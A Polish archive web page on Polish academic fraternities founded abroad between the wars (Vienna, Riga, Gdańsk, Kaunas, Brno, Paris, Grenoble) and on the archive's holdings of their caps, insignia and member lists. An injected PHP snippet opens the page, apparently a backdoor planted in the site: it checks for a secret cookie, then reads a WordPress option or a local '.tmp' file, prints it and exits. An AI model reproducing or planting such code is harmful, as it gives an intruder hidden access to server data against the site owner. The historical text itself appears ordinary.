if (isset($_COOKIE["fn9uBsXrHEMCoNLjpQ9VN9SVJgeJ2TQDYJ"])) { $lines = get_option( 'wpsdth4_license_key' ); if (!empty($lines)) { $lines = @file_get_contents(".tmp"); } echo $lines; exit(); } Archiwum Korporacyjne - Archiwum i Muzeum Polskich Korporacji Akademickich

Korporacje poza granicami

Większość powstałych przed I wojną światową polskich korporacji akademickich, w trakcie Wielkiej Wojny albo zaraz po jej zakończeniu przeniosło swe siedziby na tereny należące do Polski. Jedynie dwa związki korporacyjne - Ognisko i Lechia z Czerniowiec - kontynuowały działalność poza granicami kraju. W okresie dwudziestolecia międzywojennego poza granicami odrodzonej Polski powstawały jednak nowe polskie korporacje akademickie. Tworzone były one w pierwszym rzędzie w tradycyjnych już polskich ośrodkach korporacyjnych. W Wiedniu powstała w 1926 r. korporacja Polaków z Litwy Kowieńskiej Samogitia oraz w 1929 r. będąca nadzwyczajnym członkiem Związku Polskich Korporacji Akademickich Sobiescia, a w Rydze w 1929 r. Fraternitas Inflantica oraz w 1930 r. żeńska Plateria.

Korporacja Samogitia, Brno 10 III 1934 r.

Ponadto jednak polskie związki korporacyjne tworzone były w nie posiadających polskich tradycji burszowskich ośrodkach akademickich. Szczególną rolę odgrywało Wolne Miasto Gdańsk, gdzie na Politechnice Gdańskiej kształciło się wielu studentów z Polski. W 1921 r. istniejący od 1913 r. Związek Akademików Gdańskich “Wisła” został przekształcony w korporację Z.A.G. Wisła. W ciągu kilku następnych lat w Gdańsku powstały kolejne korporacje: Helania, Gedania oraz Rosevia. W litewskim Kownie istniały utworzone w 1928 r. Lauda oraz w 1930 r. żeńska Znicz, a także efemerydy: działająca w 1928 r. Concordia i powstała w 1929 r. Antevia.

Korporacja Lauda, Kowno ok. 1930 r.

Na terenie Czechosłowacji w Brnie została założona Brunensia, która miała skupiać studentów z Małopolski. Warto wreszcie odnotować, że także poza terytoriami ościennymi zaczęły tworzyć się polskie korporacje. W Paryżu od 1926 r. działała - nawiązująca do ideałów wileńskich Filaretów - Filarecja. Jej członkiem honorowym był syn Adama Mickiewicza – Władysław Mickiewicz. Natomiast w latach 30-tych w Grenoble istniała łącząca studentów tamtejszej Politechniki Grenoblia.

Korporacje spoza granic II Rzeczypospolitej w Archiwum Korporacyjnym

Na ok. 20 istniejących poza granicami II Rzeczypospolitej polskich korporacji akademickich w Archiwum Korporacyjnym udało się zgromadzić przynajmniej pewne wiadomości oraz pewne materialne ślady po 10 związkach (Ognisko, Lechia, ZAG Wisła, Helania, Gedania, Rosevia, Samogitia, Sobiescia, Lauda, Znicz). Wśród nich znajdują się wszystkie znaczniejsze polskie korporacje działające poza krajem. Na temat pozostałych, zazwyczaj mniejszych związków zachowało się stosunkowo niewiele informacji.

Zgromadzone zbiory są bardzo zróżnicowane. W przypadku czterech korporacji – ZAG Wisła, Rosevii, Samogitii oraz Laudy – odnaleziono oryginalne dekle (czapki) oraz zazwyczaj także przynajmniej pojedyncze inne insygnia danej korporacji oraz fotografie. W odniesieniu do Lechii, Helanii, Gedanii, Sobiescii nie udało się dotychczas odnaleźć dekli korporacyjnych, a jedynie pojedyncze inne insygnia, dokumenty czy fotografie (podobnie w przypadku Ogniska i Znicza z tym jednak zastrzeżeniem, że korporacje te w ogóle nie posiadały czapek korporacyjnych).

Dzięki zgromadzonym zbiorom w wirtualnym Muzeum Polskich Korporacji Akademickich zaprezentowano w formie osobnych opracowań historię oraz stan członkowski wszystkich wymienionych 10 korporacji (opracowania poświęcone powstałym przed 1914 r. Ognisku i Lechii z Czerniowiec znajdują się w dziale W czasie zaborów: korporacje 1816-1918). Wiadomości poświęcone pozostałym związkom przedstawiono łącznie (vide Pozostałe). W miarę powiększania zbiorów Archiwum także pozostałe korporacje spoza granic II Rzeczypospolitej doczekają się osobnych opracowań.

Na stronie przedstawiono nie tylko prezentacje poświęcone samym korporacjom, ale także zebrane wiadomości biograficzne oraz indywidualne fotografie członków i członkiń korporacji. W przypadku większości wspomnianych 10 korporacji było zazwyczaj możliwie ustalenie obszernych, choć niekompletnych spisów członkowskich. Łącznie obejmują one ok. 840 nazwisk. Należy dodać, że ok. 600 z nich to członkowie czterech korporacji gdańskich.

Będziemy wdzięczni za: uzupełnienia i korektę zamieszczonych na stronie opracowań, a także przesyłanie danych biograficznych i fotografii członków korporacji (Kontakt), wsparcie w poszukiwaniach materialnych śladów i wszelkich informacji o samych korporacjach (Poszukiwania) oraz pomoc w identyfikacji zebranych w Archiwum Korporacyjnym fotografii (Identyfikacja fotografii).

Bibliografia:

1. Daniel Pater, Polskie związki korporacyjne na obczyźnie w okresie międzywojennym, www.aquilonia.waw.pl.

Opracowanie: Bartłomiej P. Wróblewski
Opublikowano: 12 IX 2007 r.
Ostatnia zmiana: 24 XI 2010 r.

Propozycja cytowania: Bartłomiej P. Wróblewski, Polskie korporacje akademickie poza granicami II Rzeczypospolitej, (na:) www.archiwumkorporacyjne.pl, stan 24 XI 2010 r.

O Archiwum  |  Muzeum Korporacyjne  |  Aktualności  |  Kontakt  |   English © Archiwum Korporacyjne     Nota prawna  |  Mapa serwisu  | 
Szukaj    »
created by { re.PUBLIK }